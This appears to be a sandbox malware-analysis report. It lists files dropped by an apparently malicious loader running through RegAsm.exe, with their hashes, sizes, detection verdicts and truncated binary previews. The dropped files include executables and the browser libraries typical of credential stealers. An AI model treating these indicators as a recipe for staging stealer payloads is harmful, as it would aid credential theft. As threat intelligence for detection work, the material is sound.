File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3851776
Entropy (8bit):	7.219526676113136
Encrypted:	false
SSDEEP:	49152:3JawLbHv2lgbLsuyYHlt8Ui4fhn5IjD0iCT:3XbH573t8aZ5
MD5:	68EBCC4AD727C077AEB5CC60B868E304
SHA1:	255944DC0D24D22DFA36613C2B68AA81070AF1C5
SHA-256:	D83C67E9AAC5D88DA1C30AB4D05BB0AD08358532D298E8CF60B9D8798C262CE4
SHA-512:	ADF77B744A294512FD1E448C91E4B9520389E3F6781C2A2E8B07F71AC0C7D606C54208A5741F6DB0B33E7AE3235E4E458835B931C41F251D2AFDDE71BD9ED7F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67% Antivirus: Virustotal, Detection: 68%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....83...................)...........).. .......@.. ....................... ;...........@.................................P.).K.... .......................;.......).............................................. ............... ..H............text.....).. ....)................. ..`.sdata...............).............@....rsrc........ .......).............@..@.reloc........;.......:.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d70e8640404_trics[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:	98304:yvOB51QmIWth3e1PTbEYBkQyShbkqdwOyAuYJvdVuWFY:y+51/Iqh3e1PTbE7QbCqeYbM8
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d98aa7bea3e_newPrime[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3607496
Entropy (8bit):	7.101982385528195
Encrypted:	false
SSDEEP:	49152:MYCkaqfKkUSztx7CU7XP6YINjwNxMgakj6TqZJbbbW6PJcF:MYCkatWveeX5IAxEkjw1F
MD5:	C4D092354C3F964EE1D9671F2517A6C9
SHA1:	838F3A4D426EA72C2F5CF8164F8FF4FC9E694A1B
SHA-256:	1814F8B1C1223B93E9B6AE699F7F8F25FB543AD511E349F39219A4EC222F4F05
SHA-512:	C162FF7F53B3A095E779369FB00546DC62DCADB4E394593B40522369ADD2532274232BAD920F5A65AB07636ED544BFCE239A42D959DFEA01C7C19E2BBFEDD5EE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8....................\&..........z&.. ....&...@.. ........................6.......7...@..................................y&.K.....&..............J6.......6......y&.............................................. ............... ..H............text...4Z&.. ...\&................. ..`.sdata........&......`&.............@....rsrc.........&......d&.............@..@.reloc........6......H6.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[2].dll

Download File

Process:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.2318272874720075
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wx13C+t6kdlWOszUVMnfBrErV4rk/0kOp+ENJ/iHu/eGE/8d6y:vpmGSGwS+zlWOszrfurKrE0keTUeDWi
MD5:	EF8872DBB1E0DE26C4DAADB4E2BA1231
SHA1:	3D2931ACBF70418C2E5D997EFB92191A0AA1C370
SHA-256:	3C3473CD478011EF47A57B88EC6FDA2427C944085BBB929BBDE6ED88BA4CD624
SHA-512:	68AAFDCA48C3830D035FECEC97FECFBE11F7691561E53CD9B8C126BC0A9675056F807869F6248AD9E3D8F6DCF0A5D7CE8355490AEC7E2A09376AC0673A6392C4
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d1b7f7f3765_Front[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14748160
Entropy (8bit):	5.890118791520016
Encrypted:	false
SSDEEP:	98304:YrVuOrsnJc5nIsvSutn0RejfWlvmSN1BM9lu9vQ1MeLYVqita:NZU0RplJeLet
MD5:	EF210F3D8E05ECAFD8D41A98B5806218
SHA1:	90AD9BA808225F2F3B6AC61F73662D332F4D5C7A
SHA-256:	AFA3196B3C2D0CC7BC921D98D60409D043F7C93CB760C30DBD691A20FA4B1E71
SHA-512:	78184D1F03C4963755EF7C954D67B8F4C5C024EFEF53F5F763D040835139CEB5E13BF8A4DB0CEDE9AC02342A6DE89B0EC166B31E6CC35A9442B4C2A0DB30C0D3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........4................`..........\|.......@....@.................................VU....@.....................................L...............................\...................................................@V...............................text...(.`.......`................. ..`.rdata..,.p...`...p...`.............@..@.data....w...@....... ..............@....idata..L............2..............@....reloc..\............8..............@..B.symtab..............4.................B.rsrc................6..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d9de22f231f_crypted[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	331776
Entropy (8bit):	7.964230381568243
Encrypted:	false
SSDEEP:	6144:sPP5QJyXEJZq77hQ8ed1oBj32nQumiUdfg+CYnDNMhXYGenCnaW1qMJyky:cGJyX2EdQ8ed1K+Yfg+DDGYn4aW1TJyD
MD5:	E600B6015B0312B52214F459FCC6F3C2
SHA1:	0E763E33524E467B46D27E5F0603CD2165C47FED
SHA-256:	65BB6281D63AD091F8B6B4D0C460D9D6C1631FE141FE15B23DC6D23A41E094AD
SHA-512:	B1C1A68128C2CD75DF9CB1D890358FD6BB85D9A62288468A19DB3295CC25E6CB97C05FA0B5BC3B1DD2B88BD39B343CE5CD1494CA8AB56352C1E375E88FE7E464
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................."... ...@....@.. ....................................`.................................."..K....@.......................`......L"............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................."......H.......(&...............=...............................................0..].......+.(..OO~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(c..O(......N+.(D.<5(.....(.....+.(..QN(...........%.....(......... .........%.....(..........j+.(R.i[(.....(......(......0..4.......+.(e.bi....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\lnef[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	353832
Entropy (8bit):	7.965251738131194
Encrypted:	false
SSDEEP:	6144:HCscw+zLtJ08v3OFg8heEd/AWIEjIizwvM/MCkBwIvHm413YhkXR7oEO:5MLj08vgg8heEOv0lUth+4FYhucEO
MD5:	197D0030A586A58018E1B782AD30AAC2
SHA1:	B1F31DF2A1325581B42D721175192B34454075B3
SHA-256:	B713E25A919FF9981E87D770EF46432843C3FFDB3D395564A7DC65BB55FA420E
SHA-512:	8D01BFF9EBB6795B85C143AAC184F04B0483E2A2DDCD6AEAF5FE491521AD96F2756C6E9162FBFF941F6E22712D5975D88FA14A32CC0B59269335B5EFED2D49E5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..../.f.................4...........R... ...`....@.. ....................................`..................................R..K....`...............@..(&..........LR............................................... ............... ..H............text....2... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............>..............@..B.................R......H.......(&...............=...............................................0..].......+.(..`e~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(..=O(......N+.(.p.5(.....(.....+.(E.Gd(...........%.....(......... .........%.....(..........j+.(/d.d(.....(......(......0..4.......+.(..Rb....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.133081594016209
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wuhthQeOiGnkiluzlQjBC1lclfWd/G1i5lyEAht+hl/gd:vpmGSGxLjOL3l0QlkyulG1i7OIzG
MD5:	F5E41B8019653F9D890F856E7042676E
SHA1:	2937DAD4D83DA14F8C6304277924C45004718F99
SHA-256:	447721844CB2D6066639FDA761EC369AABC28E9CBF883F60702A09FCC9FDA51F
SHA-512:	8CEF4C6BDEE2CBA6601E2B7302B05C7B9F63725D9B0DDA6656263A82E5F54C030211DCF7D747C1A222206C9E84DBBA25988A4AC9A5365E7DD6153A78E7D8F577
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vjgg[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	301608
Entropy (8bit):	7.955071519540768
Encrypted:	false
SSDEEP:	6144:RTdOxN3KvIKuzpHwR9WUoNAsWKGHgVmA5EO:jOwIKJR0NLSAf5EO
MD5:	20C0E4911043ACDF83CD6F5818060B6D
SHA1:	B38D5071947E729EA05CAA84958B515B53DA5DB6
SHA-256:	656C58153302A82BDC4994A170163628F1AEDD101B0EFE6471B5AF0D4173C1F5
SHA-512:	AECE9C46C5274E3660016D2795CCC0EAE9578FA40EC39679E8385398675FCFBC2D08D7ED105CBAFB75CED2224EE8E76720E2BF41D2C25F4A7992FA245B71543B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5.f.................h.............. ........@.. ....................................`.....................................K....................t..(&..........L................................................ ............... ..H............text....f... ...h.................. ..`.rsrc................j..............@..@.reloc...............r..............@..B........................H.......(&...............=...............................................0..].......+.(aG.0~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(..Vb(......N+.(..xD(.....(.....+.(...2(...........%.....(......... .$.......%.....(..........j+.(..(g(.....(......(......0..4.......+.(...h....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d897ad1752a_File[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	513536
Entropy (8bit):	7.993353372834414
Encrypted:	true
SSDEEP:	12288:1/WRdaNJO5iDHXpuTa86H0SWJfVMPJOqGYou7BBqCi7W1P:1/WRdH52q6HUBOkaDi7W1P
MD5:	F10161C3ACDE4B7DADCD1EEDDCF937F1
SHA1:	EBF47C2E0916FBC430DDC8A90CDD1FE98112F979
SHA-256:	445A933766BF381EBE8530E0795E22AB2BCCACE28291388ABA99808E101E8230
SHA-512:	5024F57F0BFF356120598E7FAA472C956D843D36A6D83D953C9A7345AEE36A14D216F1BDE61524A62A0DBA4CB4FAE4A67DCEFAA0B2E8FA5526DFC9A218E985D9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V.f................................. ........@.. .......................@............`.....................................K............................ ......X................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.........................................................................Q.Y...p..qV.{..0_....92.Nr..%..N.9.h..h.X.d/....K5w......}<.........#gV...=..._[.......vp..bs.P.....[....B....Y.....:E.(../1..%....l>.L......aD...R.<.(.;..R_.)~.4.W.Sl..I..A..D.(...[J..u..'.Q....yp...\..=..9G&..<5.u6`....t,.P...:..k..=6x.{c....q............X...`2.;L.JH..9c/........B%.s.....3.pv...A..O.%........)...2?w.w..%...ym.=..c.j&:S)._...G..j;l.-....Wv}.....M.3.....U.....P.l.c...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\download[1].txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.323231428797621
Encrypted:	false
SSDEEP:	3:0MXAG3z:0MQG
MD5:	42C939D0BA4BBDC4C7EAB1B5C34AAF71
SHA1:	5B0F43AB04980A7808A695BE06F2B94BEB2423EF
SHA-256:	7C040F8633B8823D72ED63DA9B3B2DFE9846E912C66A64C9433EC9C4815D76C2
SHA-512:	6EA7049F426EC3BF96B717E3A7387F2E09D53716B2C1A332ED135FAFD46F4365BF2B59F6E5E23B9959E8DAFF9C2BA2FB3F9CF2D0B174B71019578F36935AE1FE
Malicious:	false
Reputation:	unknown
Preview:	Redirecting....

C:\Users\user\AppData\Local\NewStar\Visio\areas.vss (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.0, Code page: 1251, Author: Alex M, Last Saved By: , Name of Creating Application: Microsoft Visio, Last Saved Time/Date: Wed Jul 2 10:49:43 2008
Category:	dropped
Size (bytes):	35328
Entropy (8bit):	6.12724692559485
Encrypted:	false
SSDEEP:	768:iWrWvB3jB8UJjRqHNl1g2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKc:iYW1jCUJjRqtl11
MD5:	5E71266FE44B81057E546A2ADEE49131
SHA1:	3AFBF0D78EE50F6B489572FE1D2C0C9BF8016580
SHA-256:	21889C505A0234524AC95081260329ACEE5100ED2D30278B52399D62D8AA801E
SHA-512:	8287D973C71DB110B092CC99B9908571474409B1818799142651262E8D345EBBACE2066F02354B0966D3DB742EAA9FB41174C17A338074C213C1F78E7857DE87
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\Visio\areas.vssx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	21075
Entropy (8bit):	7.554305714727671
Encrypted:	false
SSDEEP:	384:mGVjXBTgCjDyjdbBHzh2+lxw2aro4QxkK4jK1uxlBW+0S35:NNgCjujF5DsoDkj70+0Sp
MD5:	C027B58057CB33B7D1EF9B7204B83DF7
SHA1:	1DCD0B9F11886EB3BEAE7E4CC9AA725BAA49342D
SHA-256:	5612A57A73B168840EB7FBBCA3981E244D349A121B082EE6CDD593119E4C8873
SHA-512:	CE5DA3D2D196B5F1FE14FC3F4582171D47E9776996082A46EE01A9F0A3EA9252EA1F078C720FE6880BD160FB037F7D571B561D625D35D4BA0F5E1261BFDD4077
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.L?..f...;.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H...-J...!...%tQ>.._Z.x..;.=/..@.4B.$J.{..u..\|o+........g.......\|..9.$...wP.. .....C.d.vX.uJ.A.Tk..s...H....J..>...d4.....e......rS%....m...r..N.Y..!TF.DI......#.l.......\.%.#..:..U.....1.JK1..PD...XZD~..j1k49..r+..Jv.@...RQ...\|.o.Vg.. &.}.'.T.p./K..o..m.........6g....6.? .....=.$....c<.1.1.<....@...A.!....v.i....I..Es..>.......PK..........!................._rels/.rels ...(...........................

C:\Users\user\AppData\Local\NewStar\Visio\devices.vssx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	796010
Entropy (8bit):	7.990815300175507
Encrypted:	true
SSDEEP:	24576:40vGRPRqM0RpueplpGLpT+DlW3y/E3kd+:40vGRPRqM8lpGLpwlWi3d+
MD5:	20D3CBCE0D291FB238CD046B7BC3744D
SHA1:	F4143CA63D500526B94FA86EA7302749B63CE4C0
SHA-256:	4E6E085089C471B6418195D056D8F32224D45273ACC7ABBA3076D94ED9480434
SHA-512:	763E91636C22BEA80ADA482BFAD3B31F13694A59C9655EA1214A2F1C6F637076A079AE73377E78475438E81798F017B6DF5C270161DBD4B1E0E0484FAFE06649
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.V..c............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................]o.0...'.?D....vmE..>..^.?.J....Ql(..;...1.).....<..<.x~.m.dc.`.+R.....W.-....{v.&!jW..;S./&....../....](.U...c.\.V..w..J..VG../Y.._zi...Y.]4.fq...._M..ML.m..}'........U.....lXa'3.i....:....U.:..]..=.V..........]..8.~.8{[..A..n.w...-V.r.....u.F..2y.....[m.kg..T...].......3:NbHg..2}..8..D..x..k[..D.p.....u...o.....a..=.7..~A..3=D...).......#...5=.jz.....#n.G.N..3...7.....s....8.H...s.....x.........x.........x.

C:\Users\user\AppData\Local\NewStar\Visio\is-62RQQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1251, Author: Alex M, Template: C:\work\NetDiagram\visio\netdiagram.vst, Last Saved By: Alex M, Name of Creating Application: Microsoft Visio, Last Saved Time/Date: Tue Aug 14 11:36:07 2012
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.743855635666745
Encrypted:	false
SSDEEP:	192:rgxToQ+gDZlSKcVZRVLClWmELJyZP6aTK3:rgxMnKwLClWmyg6iK
MD5:	78C84AA115E8C391EC7A4117613D7794
SHA1:	C4E3C4B8CA5A3B9E8AE1378E839154E33B394662
SHA-256:	0851AE8F561F49278C8AD81363F15481235EC3DF0CF80C73408D3D226BCC9612
SHA-512:	83E134533BC8C03B8D2DF23E4C9B77DA2236E90BB336F1F565C5C46F6A7495FA2A1AE090B9400CDC44354887FD7D29B3F3EE8D9A3D81A8F2AFB45C9086BFD328
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\Visio\is-80T9O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.0, Code page: 1251, Author: Alex M, Last Saved By: , Name of Creating Application: Microsoft Visio, Last Saved Time/Date: Wed Jul 2 10:49:43 2008
Category:	dropped
Size (bytes):	35328
Entropy (8bit):	6.12724692559485
Encrypted:	false
